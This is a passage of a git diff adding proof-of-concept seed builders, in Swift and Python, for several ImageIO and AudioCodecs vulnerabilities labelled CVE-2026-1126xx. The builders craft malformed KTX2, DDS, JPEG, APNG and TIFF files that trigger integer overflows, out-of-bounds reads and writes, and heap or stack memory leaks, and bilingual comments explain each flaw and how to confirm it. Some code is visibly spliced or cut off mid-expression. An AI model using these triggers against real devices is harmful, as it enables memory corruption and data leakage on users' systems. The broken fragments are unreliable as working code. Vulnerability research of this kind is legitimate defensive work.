+ } + static func be64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) } + } + static func le64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) } + } + static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) } + static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) } + static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } +} + + + diff --git a/CVE-2026-112625/CVE-2026-112625.py b/CVE-2026-112625/CVE-2026-112625.py new file mode 100644 index 0000000..39ce417 --- /dev/null +++ b/CVE-2026-112625/CVE-2026-112625.py @@ -0,0 +1,46 @@ +#!/usr/bin/env python3 +# iio.ktx2 · ImageIO · KTX2ReadPlugin · CVE-2026-112625 +# 原语: 整数溢出 · 进程内 | Primitive: integer overflow · in-process +# +# [zh] KTX2 维度/层级尺寸运算 +# KTX/KTX2 的层级字节数与块数运算缺少 64 位 umull/umulh 保护,且既有检查所依据的量本身是错的(使用 channels 而非源 bpp)。27.2 增加 \"image +# dimensions overflow\" 与 \"expected %llu bytes\" 两道闸门。 +# +# [en] KTX2 dimension and level size arithmetic +# KTX/KTX2 level byte counts and block counts lack 64-bit umull/umulh protection, and the existing +# check is keyed on the wrong quantity (channels rather than source bpp). iOS 27.2 adds "image +# dimensions overflow" and "expected %llu bytes" gates. +# +# 种子生成 — verbatim from Cinder27/scripts/gen_seeds.py +# 触发器(run 闭包)与非种子构建器: 同目录 CVE-2026-112625.swift +# triggers (run closures) & non-seed builders: CVE-2026-112625.swift in this folder + +import struct + + +# --------------------------------------------------------------------------- KTX2 +def build_ktx2(): + ident = bytes([0xAB, 0x4B, 0x54, 0x58, 0x20, 0x32, 0x30, 0xBB, 0x0D, 0x0A, 0x1A, 0x0A]) + vk_format = 0 # 0 => block-compressed via DFD + type_size = 1 + w, h = 0xFFFF, 0xFFFF + depth, layers, faces, levels = 0, 0, 1, 1 + scheme = 0 + kvd_off, kvd_len = 0, 0 + sgdt_off, sgdt_len = 0, 0 + header = struct.pack("<9I", vk_format, type_size, w, h, depth, layers, faces, levels, scheme) + header += struct.pack(" 1 else "ktx2_bad_dims.ktx2" + open(out, "wb").write(build_ktx2()) + print("wrote", out) diff --git a/CVE-2026-112625/CVE-2026-112625.swift b/CVE-2026-112625/CVE-2026-112625.swift new file mode 100644 index 0000000..3b7cd5b --- /dev/null +++ b/CVE-2026-112625/CVE-2026-112625.swift @@ -0,0 +1,59 @@ +// iio.ktx2 · ImageIO · KTX2ReadPlugin · CVE-2026-112625 +// 原语: 整数溢出 · 进程内 · tier 2 +// Primitive: integer overflow · in-process · tier 2 +// +// [zh] KTX2 维度/层级尺寸运算 +// KTX/KTX2 的层级字节数与块数运算缺少 64 位 umull/umulh 保护,且既有检查所依据的量本身是错的(使用 channels 而非源 bpp)。27.2 增加 \"image +// dimensions overflow\" 与 \"expected %llu bytes\" 两道闸门。 +// +// [en] KTX2 dimension and level size arithmetic +// KTX/KTX2 level byte counts and block counts lack 64-bit umull/umulh protection, and the existing +// check is keyed on the wrong quantity (channels rather than source bpp). iOS 27.2 adds "image dimensions +// overflow" and "expected %llu bytes" gates. +// ── 判别 / oracle ── +// 维度 0xFFFF×0xFFFF,层级索引声明 64 字节。 +// 变体 iio.pvr: PVR 位深低于通道位和 +// +// 种子构建器(python,可直接运行): CVE-2026-112625/CVE-2026-112625.py +// runnable python seed builder: CVE-2026-112625/CVE-2026-112625.py + +import Foundation + +// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── +enum B { + static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } + static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } + static func be32(_ v: UInt32) -> [UInt8] { + [UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] + } + static func le32(_ v: UInt32) -> [UInt8] { + [UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)] + } + static func be64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) } + } + static func le64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) } + } + static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) } + static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) } + static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } +} + +/* +// iio.pvr · ImageIO · PVRReadPlugin::initialize · CVE-2026-112625 +// 原语: 整数溢出 · 进程内 · tier 3 +// Primitive: integer overflow · in-process · tier 3 +// +// [zh] PVR 位深低于通道位和 +// 各通道位数之间的相互匹配检查早已存在,但缺少 bitsPerPixel 相对通道位和的下界比较。27.2 补入 \"_bitsPerPixel %d is too small for 4 channels +// of %d bits\"。 +// +// [en] PVR bits-per-pixel below the channel bit sum +// The mutual consistency check between channel bit widths has always been present, but there is no +// lower bound comparing bitsPerPixel against the sum of channel bits. iOS 27.2 adds "_bitsPerPixel +// %d is too small for 4 channels of %d bits". +*/ + + + diff --git a/CVE-2026-112627/CVE-2026-112627.swift b/CVE-2026-112627/CVE-2026-112627.swift new file mode 100644 index 0000000..08ec50b --- /dev/null +++ b/CVE-2026-112627/CVE-2026-112627.swift @@ -0,0 +1,82 @@ +// iio.dds.bc7 · ImageIO · BCReadPlugin::initialize · CVE-2026-112627 +// 原语: OOB 读 · 进程内 · tier 2 +// Primitive: OOB read · in-process · tier 2 +// +// [zh] BC7 纹理 mip 截断 +// 截断的 mip 层级在 27.0 仅产生一条 WARNING 后继续块解码,块解码器随即读到数据之外。27.2 将「零个完整 mip」变为硬错误,并补上 64 位 mip 尺寸运算与尺寸/数据量闸门。 +// +// [en] BC7 texture mip truncation +// A truncated mip level produces only a WARNING on 27.0 and block decoding continues, so the block +// decoder reads past the data. iOS 27.2 turns "zero complete mips" into a hard error and adds 64-bit +// mip size arithmetic plus dimension and data-size gates. +// ── 判别 / oracle ── +// 512×512 BC7 需要 65536 字节,实际只给 64 字节。 +// 变体 iio.appx: APP 标记越界读 → 泄露字节写进输出 JPEG + +import Foundation + +// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── +enum B { + static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } + static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } + static func be32(_ v: UInt32) -> [UInt8] { + [UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] + } + static func le32(_ v: UInt32) -> [UInt8] { + [UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)] + } + static func be64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) } + } + static func le64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) } + } + static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) } + static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) } + static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } +} + +/* +// iio.appx · ImageIO · _APPx::writeToStream · CVE-2026-112627 / 112561 +// 原语: 信息泄露 · 进程内 · tier 1 +// Primitive: info leak · in-process · tier 1 +// +// [zh] APP 标记越界读 → 泄露字节写进输出 JPEG +// _APPx::writeToStream 在 27.0 将 (buffer + offset, length) 原样写入输出流,不含任何边界运算。当标记声明的长度超出实际块时,重编码路径会把堆上相邻字节直接写入产出的 +// JPEG 文件 —— 泄露物即产物本身,不需要任何回传通道。27.2 计算 end − offset 并以 csel 钳制,超出时报 \"marker 0x%04X is out of bounds\"。 +// +// [en] APP marker out-of-bounds read → leaked bytes written into the output JPEG +// _APPx::writeToStream on 27.0 writes (buffer + offset, length) straight to the output stream with +// no bounds arithmetic at all. When a marker declares a length beyond the actual block, the re-encode +// path writes adjacent heap bytes directly into the produced JPEG — the leak is the artifact itself, +// needing no exfiltration channel. iOS 27.2 computes end − offset and clamps with csel, reporting +// "marker 0x%04X is out of bounds" when it overruns. +*/ + +// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (TexturePayload) ── +enum TexturePayload { +static func bc7Short(width: Int = 512, height: Int = 512, dataBytes: Int = 64) -> Data { + var out = Data("DDS ".utf8) + out.append(contentsOf: B.le32(124)) + out.append(contentsOf: B.le32(0x00081007)) + out.append(contentsOf: B.le32(UInt32(height))) + out.append(contentsOf: B.le32(UInt32(width))) + out.append(contentsOf: B.le32(0)) + out.append(contentsOf: B.le32(0)) + out.append(contentsOf: B.le32(1)) + out.append(contentsOf: [UInt8](repeating: 0, count: 44)) + out.append(contentsOf: B.le32(32)) + out.append(contentsOf: B.le32(0x4)) + out.append(contentsOf: B.ascii("DX10")) + out.append(contentsOf: [UInt8](repeating: 0, count: 20)) + out.append(contentsOf: B.le32(0x1000)) + out.append(contentsOf: B.le32(0) + B.le32(0) + B.le32(0) + B.le32(0)) + // DX10 header — DXGI_FORMAT_BC7_UNORM = 98, TEXTURECUBE off, arraySize 1 + out.append(contentsOf: B.le32(98) + B.le32(3) + B.le32(0) + B.le32(1) + B.le32(0)) + out.append(contentsOf: [UInt8](repeating: 0, count: max(1, dataBytes))) + return out + } + +} + + diff --git a/CVE-2026-112629/CVE-2026-112629.swift b/CVE-2026-112629/CVE-2026-112629.swift new file mode 100644 index 0000000..f091fd4 --- /dev/null +++ b/CVE-2026-112629/CVE-2026-112629.swift @@ -0,0 +1,77 @@ +// iio.jpeg.gps · ImageIO · GPSCopy::processData · CVE-2026-112629 +// 原语: OOB 读 · 进程内 · tier 2 +// Primitive: OOB read · in-process · tier 2 +// +// [zh] GPS IFD 值偏移越界 +// GPS-IFD 遍历使用裸指针解引用与一个未检查的 read32。当条目值偏移指向 GPS 块之外时,读取直接越界。27.2 将全部访问重写为 checkCapacity / checkInitializedLength +// / pointerToOffset / read32Unchecked,违规时抛出 OutOfBounds 异常。 +// +// [en] GPS IFD value offset out of bounds +// The GPS-IFD walk uses raw pointer dereferences plus one unchecked read32. When an entry's value +// offset points outside the GPS block the read goes straight out of bounds. iOS 27.2 rewrites every +// access through checkCapacity / checkInitializedLength / pointerToOffset / read32Unchecked and throws +// OutOfBounds on violation. +// ── 判别 / oracle ── +// GPSAltitude 的 RATIONAL 偏移指向 +0x10000 处。 + +import Foundation + +// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── +enum B { + static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } + static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } + static func be32(_ v: UInt32) -> [UInt8] { + [UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] + } + static func le32(_ v: UInt32) -> [UInt8] { + [UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)] + } + static func be64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) } + } + static func le64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) } + } + static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) } + static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) } + static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } +} + +// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (JPEGPayload) ── +enum JPEGPayload { +static func exifGPSOutOfBounds(delta: Int = 0x10000) -> Data { + var tiff = Data() + tiff.append(contentsOf: [0x4D, 0x4D, 0x00, 0x2A]) + tiff.append(contentsOf: B.be32(8)) + tiff.append(contentsOf: B.be16(1)) + tiff.append(contentsOf: B.be16(0x8825)) // GPSInfoIFDPointer + tiff.append(contentsOf: B.be16(4)) // LONG + tiff.append(contentsOf: B.be32(1)) + tiff.append(contentsOf: B.be32(26)) // GPS IFD at 26 + tiff.append(contentsOf: B.be32(0)) + // GPS IFD + tiff.append(contentsOf: B.be16(2)) + tiff.append(contentsOf: B.be16(0x0000)) // GPSVersionID + tiff.append(contentsOf: B.be16(1)) + tiff.append(contentsOf: B.be32(4)) + tiff.append(contentsOf: [2, 3, 0, 0]) + tiff.append(contentsOf: B.be16(0x0006)) // GPSAltitude + tiff.append(contentsOf: B.be16(5)) // RATIONAL + tiff.append(contentsOf: B.be32(1)) + tiff.append(contentsOf: B.be32(UInt32(26 + 18 + delta))) // far past the blob + tiff.append(contentsOf: B.be32(0)) + + var out = minimalSOI() + let payload = B.ascii("Exif\u{0}\u{0}") + [UInt8](tiff) + let len = payload.count + 2 + out += [0xFF, 0xE1, UInt8((len >> 8) & 0xff), UInt8(len & 0xff)] + out += payload + out += [0xFF, 0xD9] + return Data(out) + } + +static func minimalSOI() -> [UInt8] { [0xFF, 0xD8] } + +} + + diff --git a/CVE-2026-112630/CVE-2026-112630.swift b/CVE-2026-112630/CVE-2026-112630.swift new file mode 100644 index 0000000..6a710d8 --- /dev/null +++ b/CVE-2026-112630/CVE-2026-112630.swift @@ -0,0 +1,115 @@ +// iio.apng.fctl · ImageIO · IIO_Reader_PNG::getImageCount · CVE-2026-112630 +// 原语: 信息泄露 · 进程内 · tier 2 +// Primitive: info leak · in-process · tier 2 +// +// [zh] APNG fcTL 截断 → 栈上未初始化帧几何 +// 在 fcTL 偏移处读取 34 字节,且不检查返回值。当文件在 fcTL 中间被截断时,该 34 字节栈缓冲只有前部被写入,其余部分作为帧宽、高、偏移与延时被解析。 +// +// [en] APNG fcTL truncation → uninitialised frame geometry on the stack +// Thirty-four bytes are read at the fcTL offset and the return value is not checked. When the file +// is truncated mid-fcTL only the front of that 34-byte stack buffer is written; the remainder is +// parsed as frame width, height, offsets and delay. +// ── 判别 / oracle ── +// 27.2 改为读 26 字节并检查 cmp x0,#0x1a,报 \"*** truncated 'fcTL' chunk at offset %ld\"。 + +import Foundation + +// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── +enum B { + static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } + static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } + static func be32(_ v: UInt32) -> [UInt8] { + [UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] + } + static func le32(_ v: UInt32) -> [UInt8] { + [UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)] + } + static func be64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) } + } + static func le64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) } + } + static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) } + static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) } + static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } +} + +// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (PNGPayload) ── +enum PNGPayload { +static func apngTruncatedFCTL(mode: Int = 0) -> Data { + var out: [UInt8] = [0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A] + out += chunk("IHDR", B.be32(4) + B.be32(4) + [8, 6, 0, 0, 0]) + out += chunk("acTL", B.be32(2) + B.be32(0)) + var fctl: [UInt8] = B.be32(0) + B.be32(4) + B.be32(4) + B.be32(0) + B.be32(0) + fctl += B.be16(1) + B.be16(10) + [0, 0] + + // a real 4x4 RGBA frame so the container itself is valid + var rawRows: [UInt8] = [] + for _ in 0..<4 { + rawRows.append(0) + rawRows += [UInt8](repeating: 0x80, count: 16) + } + let idat = chunk("IDAT", zlibStore(rawRows)) + + if mode == 2 { + // control: a fully valid first fcTL (proves the container is otherwise sound) + out += chunk("fcTL", fctl) + out += idat + out += chunk("IEND", []) + } else if mode == 0 { + // proper chunk header claiming 26 bytes, only 4 present, then IEND + out += chunk("fcTL", fctl, declaredLength: 26, truncateTo: 4) + out += idat + out += chunk("IEND", []) + } else { + // file ends inside the fcTL: header + 4 data bytes, no CRC, no IEND + out += B.be32(26) + B.ascii("fcTL") + Array(fctl.prefix(4)) + } + return Data(out) + } + +static func chunk(_ type: String, _ data: [UInt8], declaredLength: Int? = nil, truncateTo: Int? = nil) -> [UInt8] { + let body = truncateTo.map { Array(data.prefix($0)) } ?? data + let len = UInt32(declaredLength ?? data.count) + var out = B.be32(len) + B.ascii(type) + body + out += B.be32(crc32(B.ascii(type) + body)) + return out + } + +static func crc32(_ bytes: [UInt8]) -> UInt32 { + var table = [UInt32](repeating: 0, count: 256) + for i in 0..<256 { + var c = UInt32(i) + for _ in 0..<8 { c = (c & 1) != 0 ? (0xEDB88320 ^ (c >> 1)) : (c >> 1) } + table[i] = c + } + var crc: UInt32 = 0xFFFFFFFF + for b in bytes { crc = table[Int((crc ^ UInt32(b)) & 0xFF)] ^ (crc >> 8) } + return crc ^ 0xFFFFFFFF + } + +static func zlibStore(_ input: [UInt8]) -> [UInt8] { + var out: [UInt8] = [0x78, 0x01] + var offset = 0 + if input.isEmpty { out += [0x01, 0x00, 0x00, 0xFF, 0xFF] } + while offset < input.count { + let take = min(65535, input.count - offset) + out.append(offset + take >= input.count ? 0x01 : 0x00) + out += B.le16(UInt16(take)) + out += B.le16(UInt16(~take & 0xFFFF)) + out += Array(input[offset..<(offset + take)]) + offset += take + } + var a: UInt32 = 1, b: UInt32 = 0 + for byte in input { + a = (a + UInt32(byte)) % 65521 + b = (b + a) % 65521 + } + out += B.be32((b << 16) | a) + return out + } + +} + + diff --git a/CVE-2026-112632/CVE-2026-112632.swift b/CVE-2026-112632/CVE-2026-112632.swift new file mode 100644 index 0000000..98f9ca5 --- /dev/null +++ b/CVE-2026-112632/CVE-2026-112632.swift @@ -0,0 +1,111 @@ +// iio.tiff.trunc · ImageIO · decodeStripChunky · CVE-2026-112632 +// 原语: 信息泄露 · 进程内 · tier 2 +// Primitive: info leak · in-process · tier 2 +// +// [zh] TIFF 截断条带 → 未初始化堆进像素 +// TIFFReadEncodedStrip 的返回值未被检查。读取失败时,未初始化的 malloc 条带缓冲被散写进输出图像,故解码所得像素即为进程堆中的残留内容。 +// +// [en] TIFF truncated strip → uninitialised heap into pixels +// The return value of TIFFReadEncodedStrip is never checked. On read failure the uninitialised malloc'd +// strip buffer is scattered into the output image, so the decoded pixels are whatever was left on +// the process heap. +// ── 判别 / oracle ── +// 判别方法:对同一文件连续解码三次并比对输出指纹。若条带区域每次不同,即证明取到的是未初始化堆。27.2 将其零填充并输出 \"strip %d is zero-filled\"。 + +import Foundation + +// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── +enum B { + static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } + static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } + static func be32(_ v: UInt32) -> [UInt8] { + [UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] + } + static func le32(_ v: UInt32) -> [UInt8] { + [UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)] + } + static func be64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) } + } + static func le64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) } + } + static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) } + static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) } + static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } +} + +// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (TIFFPayload) ── +enum TIFFPayload { + struct Entry { + let tag: UInt16 + let type: UInt16 + let count: UInt32 + let value: [UInt8] // raw payload bytes (little-endian), inline if <= 4 + } + +static func build(entries: [Entry], blobs: [(tag: UInt16, bytes: [UInt8])]) -> Data { + let ifdOffset = 8 + let ifdSize = 2 + entries.count * 12 + 4 + var extraOffset = ifdOffset + ifdSize + if extraOffset % 2 == 1 { extraOffset += 1 } + + var extra = Data() + var blobOffsets: [UInt16: UInt32] = [:] + for blob in blobs { + blobOffsets[blob.tag] = UInt32(extraOffset + extra.count) + extra.append(contentsOf: blob.bytes) + } + + var out = Data() + out.append(contentsOf: [0x49, 0x49, 0x2A, 0x00]) + out.append(contentsOf: B.le32(UInt32(ifdOffset))) + out.append(contentsOf: B.le16(UInt16(entries.count))) + for e in entries.sorted(by: { $0.tag < $1.tag }) { + out.append(contentsOf: B.le16(e.tag)) + out.append(contentsOf: B.le16(e.type)) + out.append(contentsOf: B.le32(e.count)) + if e.value.count <= 4 { + var v = e.value + while v.count < 4 { v.append(0) } + out.append(contentsOf: v) + } else { + out.append(contentsOf: B.le32(blobOffsets[e.tag] ?? 0)) + } + } + out.append(contentsOf: B.le32(0)) + if out.count < extraOffset { out.append(contentsOf: [UInt8](repeating: 0, count: extraOffset - out.count)) } + out.append(extra) + return out + } + +static func truncatedStrip(width: Int = 32, height: Int = 32) -> Data { + let stripBytes = width * height / 2 + let placeholder: [UInt8] = [UInt8](repeating: 0, count: 8) + var entries: [Entry] = [ + Entry(tag: 256, type: 4, count: 1, value: B.le32(UInt32(width))), + Entry(tag: 257, type: 4, count: 1, value: B.le32(UInt32(height))), + Entry(tag: 258, type: 3, count: 1, value: B.le16(8)), + Entry(tag: 259, type: 3, count: 1, value: B.le16(1)), + Entry(tag: 262, type: 3, count: 1, value: B.le16(1)), + Entry(tag: 273, type: 4, count: 2, value: placeholder), + Entry(tag: 277, type: 3, count: 1, value: B.le16(1)), + Entry(tag: 278, type: 4, count: 1, value: B.le32(UInt32(height / 2))), + Entry(tag: 279, type: 4, count: 2, value: B.le32(UInt32(stripBytes)) + B.le32(UInt32(stripBytes))), + Entry(tag: 284, type: 3, count: 1, value: B.le16(1)), + ] + // pass 1: identical-size placeholder fixes the file length + var data = build(entries: entries, blobs: [(273, placeholder)]) + let base = UInt32(data.count) + // pass 2: real strip offsets — both passes produce the same layout + let stripOffsets = B.le32(base) + B.le32(base + UInt32(stripBytes)) + entries[5] = Entry(tag: 273, type: 4, count: 2, value: stripOffsets) + data = build(entries: entries, blobs: [(273, stripOffsets)]) + data.append(contentsOf: [UInt8](repeating: 0x33, count: stripBytes)) + data.append(contentsOf: [UInt8](repeating: 0x00, count: 16)) // truncated second strip + return data + } + +} + + diff --git a/CVE-2026-112633/CVE-2026-112633.swift b/CVE-2026-112633/CVE-2026-112633.swift new file mode 100644 index 0000000..384773d --- /dev/null +++ b/CVE-2026-112633/CVE-2026-112633.swift @@ -0,0 +1,143 @@ +// iio.tiff.planar · ImageIO · decodeStripPlanar · CVE-2026-112633 / 112614 +// 原语: OOB 写 · 进程内 · tier 2 +// Primitive: OOB write · in-process · tier 2 +// +// [zh] TIFF planar 散写越界 +// 当 PlanarConfiguration=2 且 SamplesPerPixel 大于 Photometric 所指的通道数时,散写指针的偏移以 32 位乘法计算,且计算结果与目标行容量之间不存在任何比较。 +// 27.2 改为 64 位 umull 并比对所需字节数与容量。 +// +// [en] TIFF planar scatter out-of-bounds write +// With PlanarConfiguration=2 and SamplesPerPixel greater than the channel count implied by Photometric, +// the scatter pointer offset is computed with a 32-bit multiply and the result is never compared +// against the destination row capacity. iOS 27.2 switches to a 64-bit umull and compares required +// bytes against capacity. +// ── 判别 / oracle ── +// 24A435 的报错串不存在:\"*** ERROR: decodeStripPlanar destination row is %u bytes, the scatter needs %llu\"。 +// 变体 iio.pdf.raster: PDF 栅格化解码缓冲越界 + +import Foundation + +// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── +enum B { + static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } + static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } + static func be32(_ v: UInt32) -> [UInt8] { + [UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] + } + static func le32(_ v: UInt32) -> [UInt8] { + [UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)] + } + static func be64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) } + } + static func le64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) } + } + static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) } + static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) } + static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } +} + +/* +// iio.pdf.raster · ImageIO · PDFReadPlugin::decodeImageData · CVE-2026-112633 +// 原语: OOB 写 · 进程内 · tier 2 +// Primitive: OOB write · in-process · tier 2 +// +// [zh] PDF 栅格化解码缓冲越界 +// PDF 页被栅格化进调用方提供的解码缓冲,但未校验该缓冲是否足以容纳。27.2 补入 umull width×bpp、与 have 比较、b.hi 跳转,并报 \"decode buffer +// too small: need %zu bytes (%zu x %zu), have %zu\"。 +// +// [en] PDF rasterisation decode buffer overrun +// The PDF page is rasterised into a caller-supplied decode buffer with no check that the buffer is +// large enough. iOS 27.2 adds umull width×bpp, compares against have, branches b.hi, and reports +// "decode buffer too small: need %zu bytes (%zu x %zu), have %zu". +*/ + +// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (TIFFPayload) ── +enum TIFFPayload { + struct Entry { + let tag: UInt16 + let type: UInt16 + let count: UInt32 + let value: [UInt8] // raw payload bytes (little-endian), inline if <= 4 + } + +static func build(entries: [Entry], blobs: [(tag: UInt16, bytes: [UInt8])]) -> Data { + let ifdOffset = 8 + let ifdSize = 2 + entries.count * 12 + 4 + var extraOffset = ifdOffset + ifdSize + if extraOffset % 2 == 1 { extraOffset += 1 } + + var extra = Data() + var blobOffsets: [UInt16: UInt32] = [:] + for blob in blobs { + blobOffsets[blob.tag] = UInt32(extraOffset + extra.count) + extra.append(contentsOf: blob.bytes) + } + + var out = Data() + out.append(contentsOf: [0x49, 0x49, 0x2A, 0x00]) + out.append(contentsOf: B.le32(UInt32(ifdOffset))) + out.append(contentsOf: B.le16(UInt16(entries.count))) + for e in entries.sorted(by: { $0.tag < $1.tag }) { + out.append(contentsOf: B.le16(e.tag)) + out.append(contentsOf: B.le16(e.type)) + out.append(contentsOf: B.le32(e.count)) + if e.value.count <= 4 { + var v = e.value + while v.count < 4 { v.append(0) } + out.append(contentsOf: v) + } else { + out.append(contentsOf: B.le32(blobOffsets[e.tag] ?? 0)) + } + } + out.append(contentsOf: B.le32(0)) + if out.count < extraOffset { out.append(contentsOf: [UInt8](repeating: 0, count: extraOffset - out.count)) } + out.append(extra) + return out + } + +static func planarScatter(width: Int = 64, height: Int = 64, spp: Int = 4, photometric: UInt16 = 2) -> Data { + let bits: [UInt8] = (0.. [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } + static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } + static func be32(_ v: UInt32) -> [UInt8] { + [UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] + } + static func le32(_ v: UInt32) -> [UInt8] { + [UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)] + } + static func be64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) } + } + static func le64(_ v: UInt64) -> [UInt8] { + (0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) } + } + static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) } + static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) } + static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } +} + +// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (JPEGPayload) ── +enum JPEGPayload { +static func markerLength(declared: Int = 0xFFEE, actual: Int = 30) -> Data { + var out = minimalSOI() + out += [0xFF, 0xE1] + out += [UInt8((declared >> 8) & 0xff), UInt8(declared & 0xff)] + out += Array(repeating: 0x41, count: max(0, actual - 2)) + out += [0xFF, 0xD9] + return Data(out) + } + +static func minimalSOI() -> [UInt8] { [0xFF, 0xD8] } + +} + + diff --git a/CVE-2026-112638/CVE-2026-112638.swift b/CVE-2026-112638/CVE-2026-112638.swift new file mode 100644 index 0000000..4257f7a --- /dev/null +++ b/CVE-2026-112638/CVE-2026-112638.swift @@ -0,0 +1,41 @@ +// aud.lc3 · AudioCodecs · ACLC3Decoder::AppendInputData · CVE-2026-112638 +// 原语: OOB 写 · 权限受限 · tier 2 +// Primitive: OOB write · entitlement-gated · tier 2 +// +// [zh] 